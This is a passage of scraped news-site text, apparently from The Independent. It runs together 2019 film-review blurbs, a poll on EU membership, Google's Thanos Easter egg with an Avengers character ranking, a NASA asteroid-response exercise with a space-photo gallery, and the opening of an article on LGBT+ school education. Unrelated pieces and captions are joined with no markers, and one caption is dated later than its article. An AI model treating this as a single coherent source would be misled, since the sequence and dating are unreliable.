an inbuilt sense of moral decency the film seems upbeat and optimistic, even at its darkest moments. Geoffrey Macnab Sony Pictures Classics Best films of 2019 (so far) The White Crow "Ralph Fiennes combines thriller elements with poetic flashbacks to ballet legend Rudolf Nureyevs childhood and keeps a tight focus on the dancer. When he is most at risk, Nureyev makes decisions with his artistic future more in mind than his personal safety. As Fiennes reminds us again and again in what is his best film yet as a director, the 'white crow' will do anything to put himself in the limelight, the one place he is convinced he belongs." StudioCanal Best films of 2019 (so far) Border "Border reverses the perspective taken by most other horror films. In more conventional genre fare, Tina and Vore would be portrayed as malevolent outsiders, but in the world conjured up by director Ali Abbasi, the humans are the monsters. Tina is the innocent a visionary who hardly understands her own powers but who can sense human venality and corruption wherever it appears." TriArt Film Best films of 2019 (so far) Fighting with My Family "Certain scenes feel very trite and predictable but the film gets you in a choke hold early on and wont let you go. It is far more gripping than its subject matter might suggest. Who ever would believe a story about a wrestling family from Norwich could have quite such heart and resonance?" James Field Best films of 2019 (so far) Us "Doppelgangers abound in Jordan Peeles weird, creepy and ingenious new horror film. As in his Oscar-winning 2017 feature Get Out, Peele leavens matters with ironic humour but the joking becomes increasingly uncomfortable once the main characters come face to face with dark shadows of themselves which wish them extreme harm." AP Best films of 2019 (so far) Avengers: Endgame "The Avengers cycle comes to a rich and very satisfying conclusion with Endgame, surely the most complex and emotional superhero movie in Marvel history. At 181 minutes, this is a veritable epic, but with so many characters and plot strands, it fully warrants its lengthy running time." AP Best films of 2019 (so far) Eighth Grade "Its a rare and precious feeling when a film completely dismantles you. Eighth Grade the directorial debut of US comedian Bo Burnham breaks down every delusion we have about ourselves and burrows deep into those parts weve made such an effort to lock away. You may cry. You may shudder as every awkward social interaction thats kept you up at night replays in your head all at once. You may feel the sharp pain associated with those moments when you feel completely isolated from the world. Burnham may have crafted a simple story about the most ordinary of teenage girls, but it speaks with the emotions of a true cinematic epic." A24 Best films of 2019 (so far) Vox Lux "Natalie Portman gives her fiercest, most memorable performance since Black Swan in Brady Corbets enjoyably subversive satire about a troubled pop star whose loss of innocence mirrors the fall from grace of the US itself. Portmans character, Celeste, is certainly one of the most objectionable figures she has played: a pampered, hard-drinking drug-taking floozy whose appearance and high-handed behaviour rekindle memories of Liz Taylor and Joan Crawford at their monstrous worst." Neon Best films of 2019 (so far) High Life Robert Pattinson gives one of his most striking performances as Monte, the death-row criminal in outer space, tricked into making a voyage described at one stage as a class-one suicide ride. The former Twilight star makes his shaven-headed, gaunt-faced character seem hyper naturally sensitive and feral at the same time. A24 Best films of 2019 (so far) Amazing Grace Amazing Grace is as uplifting a film as you will see all year. Its a concert movie filmed over two nights and featuring Aretha Franklin, the first lady of soul, performing gospel standards in a church in Los Angeles in 1972, with a huge backing choir and an enthusiastic congregation. Neon Best films of 2019 (so far) Aladdin Disneys live-action remake of its 1992 animated feature is a rip-roaring, old-fashioned matinee-style spectacle that turns out far better than we had any right to expect. Walt Disney Studios Motion Pictures Best films of 2019 (so far) Booksmart Olivia Wilde is a visually inventive director, who keeps the tempo here so brisk that we hardly notice how glib the storytelling sometimes becomes. We can tell exactly how the film will end, but it still feels original both in its screwball energy and in the deft way it continually reverses stereotypes and gender cliches. Geoffrey Macnab Annapurna Pictures Best films of 2019 (so far) Late Night Late Night is a caustic satirical comedy that turns into an unlikely tearjerker. Its by turns snide and uplifting, and often very funny too. Its writer/producer/star Mindy Kaling makes vicious observations about the inanity, narcissism and corruption of the mainstream US media at the same time as she celebrates the professionalism of many of those who work within it. The film has a glorious performance from Emma Thompson and a very sly one from Kaling. Thompson is at her most imperious as Katherine Newbury, a legendary entertainer, the only female in a male-dominated field, but one whose career is beginning to slide. Geoffrey Macnab Amazon Studios Best films of 2019 (so far) Gloria Bell Gloria Bell is somewhat exhausting both unbearably intimate and at a constant remove but it is endlessly pulled back into focus by Moore, who has a firm understanding of the delicate balance between contentment and yearning, joy and pain, recklessness and spontaneity. In a remake that could have felt indulgent in the hands of people less skilled, she more than justifies its existence. Geoffrey Macnab Curzon Best films of 2019 (so far) Toy Story 4 "The brilliance of the new film lies in the surefooted way it caters both for children too young to have seen its predecessors and for adults whove grown up (or grown older) watching the previous instalments. It takes some kind of genius for the Pixar animators to give such a searing emotional charge to a story in which one of the main characters is a single use plastic spork retrieved from the trash." Pixar/Disney Best films of 2019 (so far) In Fabric In Fabric feels like Peter Strickland at his most free and playful, drawing as much from the British sense of humour dry and morbid to a fault as from Italian glamour. Curzon Artificial Eye Best films of 2019 (so far) The Flood "Perhaps The Flood isnt quite the urgent, profound film a crisis of this scale deserves, but in a culture where refugees are so rarely shown any empathy in mainstream media, maybe this is the film we need right now." Best films of 2019 (so far) Midsommar "Ari Aster's follow-up to Hereditary serves up much of the same: its a break-up movie wrapped up in pagan horror. Its also bound to be one of this years most memorable films, proving that Aster is far from a one-hit wonder." A24 Best films of 2019 (so far) The Lion King "The Lion King is undoubtedly a technological marvel that, much like Avatar, will come to be viewed as a milestone in special effects history, yet its just as interesting to see how all this innovation has been employed." AP Best films of 2019 (so far) Varda by Agnes "For a film thats almost entirely narrated by Agnes Varda's own voice, it doesnt feel driven by ego, but by pure intellectual and emotional curiosity." Best films of 2019 (so far) Animals "Animals treats its subjects with patience and generosity. Youll find no life lessons here. Its main characters are free to pursue their desires, to whatever end." Best films of 2019 (so far) Blinded by the Light "Blinded by the Light offers not only a reminder of Springsteens lyrical genius, but of how hes always served as a beacon for the disenfranchised." Warner Brothers Best films of 2019 (so far) Good Boys Lined up against some of this years other more heartfelt offerings, including Booksmart, Good Boys offers further proof that putting a little humanity in our comedy always gets the best results. Best films of 2019 (so far) Hustlers "Hustlers is an electrifying response to the deluge of stories weve had over the years about very rich, very bad dudes. Finally, we can turn the tables on every film thats used women, specifically strippers, as decorative accessories to drape over businessmen as they conduct their illicit backroom meetings. Or, failing that, to shake their out-of-focus tits in the background of a shot." AP Best films of 2019 (so far) For Sama For Sama is one of the most profoundly intimate depictions of the Syrian conflict ever put to film. Its the push to help those on the outside process something so incomprehensible in the depth of its horrors. Republic Film Distribution Best films of 2019 (so far) Ad Astra The real drama here is not whether or not apocalypse can be avoided but whether Brad Pitts character can reconcile himself with his father and overcome his own extreme emotional repression. In other words, in spite of all the jargon and the hardware, this is an intimate family melodrama at heart. Thanks to Pitts performance and Grays delicate direction, it turns into a very moving one. Walt Disney Studios Motion Pictures Best films of 2019 (so far) The Farewell Wrapped up in all the intricacies of immigrant identity and family politics, The Farewell is a comedy of warmth and bracing honesty. Simply put, its one of the best films of the year. A24 Best films of 2019 (so far) Judy This is Renee Zellwegers Judy. It doesnt belong to Rupert Goold, its director. Nor does it belong to Tom Edge, its screenwriter. Its a performance of such overwhelming force that it wrests authorship from every other hand that guided the films creation. Pathe Best films of 2019 (so far) Ready or Not As absurd and self-indulgent as Ready or Not can get, it doesnt mess around with its social commentary. The class system is the game we never asked to play, dont get a fair chance at, and have no hope of winning. Its a timeless metaphor. 20th Century Fox Best films of 2019 (so far) A Shaun the Sheep Movie: Farmageddon Despite its mouthful of a title, A Shaun the Sheep Movie: Farmageddon is an utter delight proof that good storytelling and strong craft are what matters, however familiar the packaging. Studio Canal Best films of 2019 (so far) The Beach Bum Clearly, Harmony Korine is steered by his attraction to the theatrical, the absurd and the grimly nihilistic. The Beach Bum is all of that and absolutely none of it, too a leisurely, neon-soaked stroll through chaos and hazy bohemia, full of slapstick and pathos. It is as much Korines most mature film as it is his most juvenile. Neon/Vice Best films of 2019 (so far) The Last Black Man in San Francisco Its a beautiful, frightening and tragic vignette of the urban nightmare, though The Last Black Man in San Francisco isnt really an angry film. Its less of a rallying cry against gentrification than a rumination on the kind of pained acceptance those who suffer its effects must face. A24 Best films of 2019 (so far) The Irishman Scorseses signature camerawork goes down like a glass of fine whisky, as smooth and as elegant as youd expect. The violence arrives in short, sharp shocks. Steven Zaillians screenplay even nails the mobster patter, with arguments about fish, tardiness, and business shorts that feel destined to one day be quoted to death. Netflix Best films of 2019 (so far) Le Mans '66 The films greatest trick is saved for its final reel. For much of its running time, youd be easily fooled into thinking Mangold had made a grand ode to the American dream. Its a film about an immigrant worker who, through perseverance and toil, gains the respect of one of the richest men in the country. And then the rug is pulled right out from underneath you. Le Mans 66 may relish in the high life, but its final moments feel devastatingly hollow. AP Best films of 2019 (so far) Marriage Story The film never loses its sense of humour and absurdity. Somehow, in spite of the bleakness of the subject matter, it feels more redemptive than despairing. Best films of 2019 (so far) The Report Adam Driver plays Jones, Annette Bening Senator Feinstein, and director Scott Z Burns captures the events in a cold, rigorously factual, and largely dispassionate manner. But thats the point. The Report chooses to value the truth over bombastic displays of morality. AP Best films of 2019 (so far) Knives Out Casting an ensemble film is a little like perfecting a cocktail blend, balancing flavours until they sing together in harmony. Knives Out hits the mark here: the actors all feel well-suited to their roles and they bounce off each other with ease. Lionsgate Burnhams film is built around the experiences society has taught us to brush off as insignificant, despite the fact they can actually become the things that define us, for better or worse. Kaylas dad (Josh Hamilton) wants only to be there for her, but since she refuses to believe shes worthy of love, the two end up clashing. That in itself is a tragedy, compounded by the flashes of fear that interrupt Hamiltons otherwise gentle demeanour. These moments are given their due spotlight, underlined by Anna Merediths clever score, that makes a collection of synths sound as huge and sweeping as an orchestra. In fact, its a little ironic that this film is being released in the UK in the same week as Avengers: Endgame, literally the most epic of imaginable releases. In Eighth Grade, having to walk out in your swimsuit at a middle-school pool party is just as a daunting as taking on supervillain Thanos himself. There is huge support for EU membership across the bloc, a poll by Kantar has found. The survey looked at public opinion in the 28 member states and found that, in most, support for staying in the EU was over 80 per cent. In only one country apart from the UK, the Czech Republic, was support lower than 70 per cent but a preference to remain in the EU was still overwhelmingly ahead of any desire to leave. In all countries where there were older polls to compare with, there was a shift towards remain. Google is commemorating the release of Avengers: Endgame with a hidden, destructive Easter egg. Anyone searching for the word "Thanos" today, as the film is released, will see normal results. But clicking on the Infinity Gauntlet that lurks in the corner of the screen will unleash a powerful destructive force. Just like in the film, in which half of the world and many of the world's favourite superheroes were wiped out with just a click of the fingers, pressing that cartoon glove will destroy half of the search results. At the time of publication, there are some 95,200,000 results for the word Thanos. Pressing the button cuts those in half, and the search results shown on the page will break up and drift off just like characters did in the film. All you need to do to make it happen is to search the word Thanos (or click this link) and press on the gauntlet that appears in the top right corner of the screen, next to his name. As soon as you do that, the gauntlet's power will be unleashed and there is no way to stop it destroying half the results on that page. Avengers characters - ranked Show all 27 1 /27 Avengers characters - ranked Avengers characters - ranked 27. War Machine Played by: Don Cheadle Don Cheadle Imagine Iron Man but without a backstory or humour. That's War Machine. Terrence Howard saw that the character would be underwritten and dropped out after filming the first Iron Man. Still, it's hard to dislike Don Cheadle, even when he's shortchanged. Walt Disney Studios Motion Pictures Avengers characters - ranked 26. Mantis Played by: Pom Klementieff Pom Klementieff The forgettable Mantis is purely there to make up the numbers. It doesn't help that she was introduced in Guardians of the Galaxy Vol 2, one of the MCU's weakest films to date, as the servant to Kurt Russell's tedious villain, Ego. In a crowded ensemble, Mantis is drowned out by the larger personalities. Walt Disney Studios Motion Pictures Avengers characters - ranked 25. Hawkeye Played by: Jeremy Renner Jeremy Renner "Oh no! It's a man with no superpowers and a bow and arrow! I, an alien with futuristic technology who has travelled through the galaxy to invade Earth, am terrified!" Thanos's army of Outriders, probably. Walt Disney Studios Motion Pictures Avengers characters - ranked 24. Doctor Strange Played by: Benedict Cumberbatch Benedict Cumberbatch Oh, Doctor Strange. Perhaps there's a good character there, but Benedict Cumberbatch wasn't the man to play him. He's probably the least likeable presence in the MCU, even if a few kick-ass moments in Avengers: Endgame almost pull him back from the brink. Walt Disney Studios Motion Pictures Avengers characters - ranked 23. Gamora Played by: Zoe Saldana Zoe Saldana Although the father-daughter relationship between Gamora and Thanos is interesting, it's completely overshadowed by the dynamic between her half-sister Nebula and the Mad Titan. And now she's AWOL. Perhaps. No one really knows. Walt Disney Studios Motion Pictures Avengers characters - ranked 22. Star-Lord Played by: Chris Pratt Chris Pratt Star-Lord the half-man, half-Celestial remains one of the funniest Marvel characters to date. Yet, the Avengers would have saved the universe the first time around if it weren't for his (quite understandable) temper tantrum over the death of Gamora in Infinity War. For that, the leader of Guardian of the Galaxy falls many places. Walt Disney Studios Motion Pictures Avengers characters - ranked 21. Nebula Played by: Karen Gillan Karen Gillan Nebula has all the makings of being a vintage Marvel character, but the feeling that she's been slightly short-changed by her appearances to date cannot be escaped. Going forward, she'll undoubtedly have an elevated role in the MCU, so here's hoping she's handed the justice she deserves. Walt Disney Studios Motion Pictures Avengers characters - ranked 20. The Winter Soldier Played by: Sebastian Stan Sebastian Stan Sebastian Stan's Bucky was a bit of a non-entity in the otherwise underrated Captain America: The First Avenger, which is why his do-over as the villainous Winter Soldier in the sequel three years later injected the character with some much-needed intrigue. His shift back to being a good guy, though, has dampened the interest around him once again. Still, that teased romance with Shuri (Letitia Wright) is sure to do him some favours. Walt Disney Studios Motion Pictures Avengers characters - ranked 19. Vision Played by: Paul Bettany Paul Bettany Vision is the purple embodiment of Tony Stark's AI butler JARVIS, brought to life by the Mind Stone. One of the only other characters capable of wielding Thor's hammer (oi oi, Cap!), Vision is overpowered to the point of being boring. Still, he doesn't know his paprika from his cayenne. Walt Disney Studios Motion Pictures Avengers characters - ranked 18. The Wasp Played by: Evangeline Lilly Evangeline Lilly Sidelined during the first Ant-Man, The Wasp finally became a headline name in Ant-Man and the Wasp. Not only is she smarter, quicker and a better fighter than Ant-Man, she can also fly thanks to a set of wings. Fingers crossed we'll be getting more Wasp post-Endgame. Walt Disney Studios Motion Pictures Avengers characters - ranked 17. Falcon Played by: Anthony Mackie Anthony Mackie There's no two ways about it: if Falcon wasn't played by Anthony Mackie, he'd be far lower down this list. His character remains memorable solely due to the vibrancy the ever-entertaining actor brings to the role. Falcon might be a lesser Avenger, but no appearance since his debut in Captain America: The Winter Soldier has left fans wanting more. For that, Falcon should be celebrated. Walt Disney Studios Motion Pictures Avengers characters - ranked 16. Captain Marvel Played by: Brie Larson Brie Larson There's no doubt that Captain Marvel could become one of the best characters in the MCU. Fresh off her billion dollar-grossing debut the series's first female-led superhero film the character returned to save the day (well, help the crew out) in Avengers: Endgame. Now her origin story is out of the way, the sky's the limit for her; it'll be exciting to see which planets her story scales next. Walt Disney Studios Motion Pictures Avengers characters - ranked 15. Groot Played by: Vin Diesel Vin Diesel To be quite honest, it's hard to screw up a character who is literally a tree that's able to speak just one word (his name). There's no denying that Vin Diesel's Groot was one of the best things about the first Guardians of the Galaxy film, and his camaraderie with Rocket Raccoon a highlight. Sadly, being turned into a baby for the entirety of the sequel made his character slightly more annoying. Walt Disney Studios Motion Pictures Avengers characters - ranked 14. Valkyrie Played by: Tessa Thompson Tessa Thompson Introduced in Thor: Ragnarok, Tessa Thompson's Valkyrie has the swagger of Han Solo and the powers of Wonder Woman. The result is probably the coolest and smoothest Avenger yet, and someone we very much look forward to seeing again in Thor: Love and Thunder. Walt Disney Studios Motion Pictures Avengers characters - ranked 13. Hulk Played by: Mark Ruffalo Mark Ruffalo The Hulk was originally played by Edward Norton, but Mark Ruffalo took over for the Avengers films. The actor brought out a manic unpredictability to the character, who remains a skittish presence in every film. Since the first Avengers outing, though, Bruce Banner/Hulk has been less integral to the team. Walt Disney Studios Motion Pictures Avengers characters - ranked 12. Black Widow Played by: Scarlett Johansson Scarlett Johansson Black Widow has had a rough ride. Introduced during Iron Man 2, Scarlett Johansson's agent was a fierce fighter with an intriguing back story. However, this has rarely been explored since, with the Avengers films focusing on the lads rather than the one female character in the team. Almost 20 Marvel films on and the character is finally getting a solo film but it's a prequel film arriving after her death in Endgame that's been delayed because of coronavirus. Ouch. Walt Disney Studios Motion Pictures Avengers characters - ranked 11. Shuri Played by: Letitia Wright Letitia Wright One of Black Panther's biggest revelations was Shuri, T'Challa's kid sister who might just be the cleverest character in the entire MCU. She's brought to life by British actor Letitia Wright, who capitalised on the several opportunities she had to steal the film from under her co-stars' noses. Great, another broken white boy for us to fix," she says as Martin Freeman's Everett Ross is carted into her workshop and thus, a star was born. Walt Disney Studios Motion Pictures Avengers characters - ranked 10. Scarlet Witch Played by: Elizabeth Olsen Elizabeth Olsen Scarlet Witch doesn't really do much save for wave her hands around while looking concerned about the well-being of her love, Vision (Paul Bettany) but it doesn't matter considered she's played by the the extremely talented Elizabeth Olsen who, as ever, gives it an admirable stab. Walt Disney Studios Motion Pictures Avengers characters - ranked 9. Captain America Played by: Chris Evans Chris Evans On paper, Captain America should be the most boring Avenger. Yet, with Chris Evans at the wheel, the patriotic super-strong OAP who fought in the Second World War has been enjoyable company in every film he's been in, his righteous values never being too overbearing. Captain America, with his pure heart, really is one of the ultimate superheroes. Walt Disney Studios Motion Pictures Avengers characters - ranked 8. Iron Man Played by: Robert Downey Jr Robert Downey Jr The leader of the MCU used to be its greatest character. But with the influx of newer additions, Tony Stark has been pushed down that list which isn't to say he isn't still a reason why the series has been such a success. No Marvel actor has thrown themselves into a role more than Robert Downey Jr, whose larger-than-life personality made him the only candidate to have brought the billionaire industrialist and former playboy to screen. Among the big-budget explosions, he's a breath of fresh air and without him, the MCU would have run out of steam long ago. Walt Disney Studios Motion Pictures Avengers characters - ranked 7. Ant-Man Played by: Paul Rudd Paul Rudd A man who presses a button and takes on the powers of an ant: not exactly a thrilling premise for a superhero. Thankfully, Marvel accepted that Ant-Man's power are a bit of a joke and cast the ever-delightful comic actor Paul Rudd as the mini-hero. And despite his stature, Ant-Man stole the show in Captain America: Civil War when he reversed his powers and became Giant Man. Walt Disney Studios Motion Pictures Avengers characters - ranked 6. Rocket Played by: Bradley Cooper Bradley Cooper In many ways, the success of Guardians of the Galaxy Marvel's first true move away from the cleaner cut Avengers (see: Captan America, Thor) rested on the shoulders of Rocket Raccoon. Many questioned whether it'd work, but thanks to impressive effects, Bradley Cooper's terrific voice work and not to mention James Gunn's knockout screenplay Rocket found himself with more range than most characters on this list. Walt Disney Studios Motion Pictures Avengers characters - ranked 5. Black Panther Played by: Chadwick Boseman Chadwick Boseman Few characters have had the cultural impact of Boseman's Black Panther. First appearing in Captain America: Civil War, T'Challa's measured demeanour was a counter to the quip-making norm of the other Avengers. Come the character's solo film, the noble leader finally accepted his role as King of Wakanda and, in the process, unleashed the inner Panther. It's no wonder that the film became a box-office sensation, even out-grossing Avengers: Infinity War (2018) in the United States. Walt Disney Studios Motion Pictures Avengers characters - ranked 4. Drax Played by: Dave Bautista Dave Bautista Drax is proof that you shouldn't judge a book by its cover. His burly appearance suggests he should be fighting for the bad guys, but the opposite couldn't be truer thanks to Dave Bautista, the character is given a cuddly sheen that belies his full name (Drax the Destroyer). The only thing Drax, who first appeared in Guardians of the Galaxy, truly destroys is your rib cage he's one of the MCU's funniest characters. Walt Disney Studios Motion Pictures Avengers characters - ranked 3. Spider-Man Played by: Tom Holland Tom Holland Spider-Man's back. Again again. Where Tobey Maguire's webslinger was an out-and-out dork, and Andrew Garfield's version was arguably too slick to really be Peter Parker, Tom Holland has found the perfect middle ground: still obsessed with making Star Wars references yet also capable of talking coherently with members of the opposite sex. It's a miracle that Marvel Studios managed to bring Spider-Man into their cinematic universe and a miracle they managed to make him feel this fresh third time around. Walt Disney Studios Motion Pictures Avengers characters - ranked 2. Okoye Played by: Danai Gurira Danai Gurira Black Panther was a landmark moment for cinema, let alone Marvel. It was a film filled with selling points the lustrous visuals of Wakanda; a villain you actually cared about but sitting at the top of the heap was Okoye. The Walking Dead star Danai Gurira swapped the katana for a vibranium spear and showed audiences that not only was she more than just television character Michonne, she could translate a comic book character into one of the very best characters in the Marvel Cinematic Universe. Walt Disney Studios Motion Pictures Avengers characters - ranked 1. Thor Played by: Chris Hemsworth Chris Hemsworth Thor was not a great film. Thor: The Dark World was even worse. Yet, against all odds, the God of Thunder has established himself as the greatest Avenger. How? It's namely thanks to Taika Waititi's revisioning of the character in Thor: Ragnarok. Rather than making Hemsworth deliver sub-par Shakespearean prose, the filmmaker enthused Thor with a sense of humour something that played to Hemsworth's strength as an actor. The result was a charismatic, short-haired, smouldering superhero who was finally able to charm Marvel fans. If only Thor had been this way all along. Walt Disney Studios Motion Pictures Thankfully, refreshing the page or clicking the glove again will bring everything back to normal. (That isn't thought to be a clue to how easy fixing everything will be in Avengers: Endgame.) Some fans may be fearful about searching the word for fear of seeing spoilers appear, but it seems to be safe for now. At the time of publication, the first article that showed up was about exactly this Easter egg, and the second and third were about Thanos's past and possible future. Avengers: Endgame is out now and is already being heralded as "surely the most complex and emotional superhero movie in Marvel history" by The Independent's critic. Nasa is going to pretend a deadly asteroid is on its way, to practise for a real one. The "tabletop exercise" will allow the space agency and the other government organisations that will be tasked with responding to such an event to simulate their response, ahead of the possibility of a real example. The scenario will see a very realistic but nonetheless fictional disaster, in which an asteroid will be headed for Earth. The scenario has been developed by one of the Nasa organisations tasked with studying such near-earth objects, or NEOs. It will bring together not just Nasa but other international organisations to test out their response. Such exercises are used across the disaster response sector, to ensure that the real responses are as fast and effective as possible. "These exercises have really helped us in the planetary defense community to understand what our colleagues on the disaster management side need to know," said Lindley Johnson, NASA's Planetary Defense Officer. "This exercise will help us develop more effective communications with each other and with our governments." Nasa's most stunning pictures of space Show all 30 1 /30 Nasa's most stunning pictures of space Nasa's most stunning pictures of space Solar Flare An image from Nasa's Solar Dynamics Observatory (SDO) shows a 200,000 mile long solar filament ripping through the Sun's corona in September 2013 Nasa Nasa's most stunning pictures of space Nasa Celebrates 50 Years of Spacewalking For 50 years, NASA has been "suiting up" for spacewalking. In this 1984 photograph of the first untethered spacewalk, NASA astronaut Bruce McCandless is in the midst of the first "field" tryout of a nitrogen-propelled backpack device called the Manned Maneuvering Unit (MMU) Nasa Nasa's most stunning pictures of space A Hubble Cosmic Couple The spectacular cosmic pairing of the star Hen 2-427 more commonly known as WR 124 and the nebula M1-67 which surrounds it ESA/Hubble & NASA Nasa's most stunning pictures of space Veil Nebula Supernova Remnant Nasa's Hubble Space Telescope has unveiled in stunning detail a small section of the Veil Nebula - expanding remains of a massive star that exploded about 8,000 years ago Nasa's most stunning pictures of space The Soyuz TMA-15M rocket launch The Soyuz TMA-15M rocket launches from the Baikonur Cosmodrome in Kazakhstan on Monday, Nov. 24, 2014, carrying three new astronauts to the International Space Station. It also took caviar, ready for the satellite's inhabitants to celebrate the holidays Nasa Nasa's most stunning pictures of space Earth from the ISS From the International Space Station, Expedition 42 Flight Engineer Terry W. Virts took this photograph of the Gulf of Mexico and U.S. Gulf Coast at sunset Nasa Nasa's most stunning pictures of space Black Hole Friday Nasa celebrated Black Friday by looking into space instead sharing pictures of black holes Nasa Nasa's most stunning pictures of space NuSTAR X-rays stream off the sun in this image showing observations from by NASA's Nuclear Spectroscopic Telescope Array, or NuSTAR, overlaid on a picture taken by NASA's Solar Dynamics Observatory (SDO) Nasa Nasa's most stunning pictures of space Cassiopeia A c A false colour image of Cassiopeia A comprised with data from the Spitzer and Hubble Space Telescopes and the Chandra X-Ray observatory Nasa Nasa's most stunning pictures of space Orion Capsule splashes down The Orion capsule jetted off into space before heading back a few hours later having proved that it can be used, one day, to carry humans to Mars Nasa Nasa's most stunning pictures of space Earth Observations From Gemini IV in 1965 This photograph of the Florida Straits and Grand Bahama Bank was taken during the Gemini IV mission during orbit no. 19 in 1965. The Gemini IV crew conducted scientific experiments, including photography of Earth's weather and terrain, for the remainder of their four-day mission following Ed White's historic spacewalk on June 3 Nasa's most stunning pictures of space Frosty slopes of Mars This image of an area on the surface of Mars, approximately 1.5 by 3 kilometers in size, shows frosted gullies on a south-facing slope within a crater. The image was taken by Nasa's HiRISE camera, which is mounted on its Mars Reconaissance Orbiter Nasa Nasa's most stunning pictures of space Yellowstone from space NASA astronaut Reid Wiseman shared this image of Yellowstone via his twitter account Nasa Nasa's most stunning pictures of space Saturn This near-infrared color image shows a specular reflection, or sunglint, off of a hydrocarbon lake named Kivu Lacus on Saturn's moon Titan Nasa Nasa's most stunning pictures of space Worlds Apart Although Mimas and Pandora, shown here, both orbit Saturn, they are very different moons. Pandora, "small" by moon standards (50 miles or 81 kilometers across) is elongated and irregular in shape. Mimas (246 miles or 396 kilometers across), a "medium-sized" moon, formed into a sphere due to self-gravity imposed by its higher mass Nasa Nasa's most stunning pictures of space Solar Flare An X1.6 class solar flare flashes in the middle of the sun in this image taken 10 September, captured by NASA's Solar Dynamics Observatory Nasa Nasa's most stunning pictures of space Large Magellanic Cloud galaxy An image of the Large Magellanic Cloud galaxy seen in infrared light by the Herschel Space Observatory. Regions of space such as this are where new stars are born from a mixture of elements and cosmic dust Nasa Nasa's most stunning pictures of space Mars Rover Spirit Nasa's Mars Rover Spirit took the first picture from Spirit since problems with communications began a week earlier. The image shows the robotic arm extended to the rock called Adirondack Nasa Nasa's most stunning pictures of space Morning Aurora From the Space Station Nasa astronaut Scott Kelly captured this photograph of the green lights of the aurora from the International Space Station Nasa/Scott Kelly Nasa's most stunning pictures of space Launch of History - Making STS-41G Mission in 1984 The Space Shuttle Challenger launches from Florida at dawn. On this mission, Kathryn Sullivan became the first U.S. woman to perform a spacewalk and Marc Garneau became the first Canadian in space. The crew of seven was the largest to fly on a spacecraft at that time, and STS-41G was the first flight to include two female astronauts Nasa's most stunning pictures of space A Fresh Perspective on an Extraordinary Cluster of Galaxies Galaxy clusters are often described by superlatives. After all, they are huge conglomerations of galaxies, hot gas, and dark matter and represent the largest structures in the Universe held together by gravity Nasa's most stunning pictures of space Hubble Sees a Galactic Sunflower The arrangement of the spiral arms in the galaxy Messier 63, seen here in an image from the Nasa Hubble Space Telescope, recall the pattern at the center of a sunflower ESA/Hubble & NASA Nasa's most stunning pictures of space Pluto image Four images from New Horizons Long Range Reconnaissance Imager (LORRI) were combined with colour data from the Ralph instrument to create this enhanced colour global view of Pluto Nasa's most stunning pictures of space Fresh Crater Near Sirenum Fossae Region of Mars The HiRISE camera aboard Nasa's Mars Reconnaissance Orbiter acquired this closeup image of a "fresh" (on a geological scale, though quite old on a human scale) impact crater in the Sirenum Fossae region of Mars. This impact crater appears relatively recent as it has a sharp rim and well-preserved ejecta Nasa's most stunning pictures of space Hubble Peers into the Most Crowded Place in the Milky Way This Nasa Hubble Space Telescope image presents the Arches Cluster, the densest known star cluster in the Milky Way NASA & ESA Nasa's most stunning pictures of space An Astronaut's View from Space Nasa astronaut Reid Wiseman tweeted this photo from the International Space Station on 2 September 2014 Nasa's most stunning pictures of space Giant Landform on Mars On Mars, we can observe four classes of sandy landforms formed by the wind, or aeolian bedforms: ripples, transverse aeolian ridges, dunes, and what are called draa Nasa's most stunning pictures of space Expedition 39 Landing A sokol suit helmet can be seen against the window of the Soyuz TMA-11M capsule shortly after the spacecraft landed with Expedition 39 Commander Koichi Wakata of the Japan Aerospace Exploration Agency (JAXA), Soyuz Commander Mikhail Tyurin of Roscosmos, and Flight Engineer Rick Mastracchio of NASA near the town of Zhezkazgan, Kazakhstan (NASA/Bill Ingalls) Nasa's most stunning pictures of space Jupiter's Great Red Spot Viewed by Voyager I Jupiter is the largest planet in the solar system and perhaps the most majestic. Vibrant bands of clouds carried by winds that can exceed 400 mph continuously circle the planet's atmosphere Nasa's most stunning pictures of space Chandra Observatory Sees a Heart in the Darkness This Chandra X-Ray Observatory image of the young star cluster NGC 346 highlights a heart-shaped cloud of 8 million-degree Celsius gas in the central region Nasa and other organisations have spent more than 20 years scanning the skies for NEOs, looking for asteroids and comets that come within 30 million miles of Earth's orbit. Groups such as Nasa's Planetary Defense Coordination Office (PDCO) as well as the European Space Agency's Space Situational Awareness-NEO Segment and the International Asteroid Warning Network (IAWN) have been working to better communicate the danger that such objects pose to Earth. As part of that mission, officials will play out such a scenario in an attempt to demonstrate how Earth might respond. There is no strict script in such an exercise. Instead, it will be used to test out how NEO observers, space agency officials, emergency managers, decision makers and citizens would respond to the threat of an impact, and how that might become clear. It will start with the story that on 26 March, astronomers have found an NEO that could be hazardous to Earth. They will be told that it has been tracked for a few months and that it has a one in 100 chance of hitting Earth in 2027 the chances that would require action from people on Earth. Those taking part will discuss possible preparations: how they would explore the asteroid, work out the best ways of deflecting it and dealing with its impact effects. Nasa has already participated in such exercises, working on some with the Federal Emergency Management Agency (FEMA). Those exercises brough representatives from a variety of different federal agencies, including the departments of Defense and State. Previous exercises showed that the focus of emergency management officials was not on scientific details. Instead, they just want to know when, where and how an asteroid will hit the Earth, as well as what sort of damage is done, according to FEMA. Nasa continues to work on that science, however, in an attempt to better improve humanity's ability to predict the exact location and effects of any impact. "NASA and FEMA will continue to conduct periodic exercises with a continually widening community of US government agencies and international partners," said Leviticus Lewis of the Response Operations Division for FEMA. "They are a great way for us to learn how to work together and meet each other's needs and the objectives laid out in the White House National NEO Preparedness Action Plan." LGBT+ campaigners have praised the House of Lords for backing legislation which will make teaching students about sexual orientation and gender identity compulsory in schools. On Wednesday evening, the House of Lords backed the new governmental guidelines, which will come into effect in England from September 2020. The news follows the approval of the new school curriculum by the House of Commons last month, by a vote of 538 to 21. LGBT+ rights charity Stonewall has lauded the decision as "historic", saying that the regulations mark a "significant and welcome change to how pupils are taught about LGBT+ relationships and identities". "It's life-changing legislation that will give LGBT+ pupils the tools to make informed decisions about their relationships and their futures," the charity said in a statement released online. The charity outlined the importance of educating children in primary schools about LGBT+ families, so that "children from LGBT+ families see themselves reflected in what they learn". "More than 30 years on from the introduction of Section 28, this announcement shows just how far we've come," the organisation added. Several other LGBT+ organisations have also responded positively to the news. "We at Schools Out UK are very pleased that the Lords have backed the Relationships and Sex Education bill," Professor Sue Sanders, founder of LGBT+ History Month and chair of Schools Out UK, a charity which provides education about the LGBT+ community, tells The Independent. "I hope it means that the Department for Education will support the work effectively and energetically. It requires training of teachers and providing resources." Pride in London tweeted that the announcement is "brilliant news for LGBT+ children", stating: "Excellent to learn that the regulations for teaching Relationships Education and Relationships and Sex 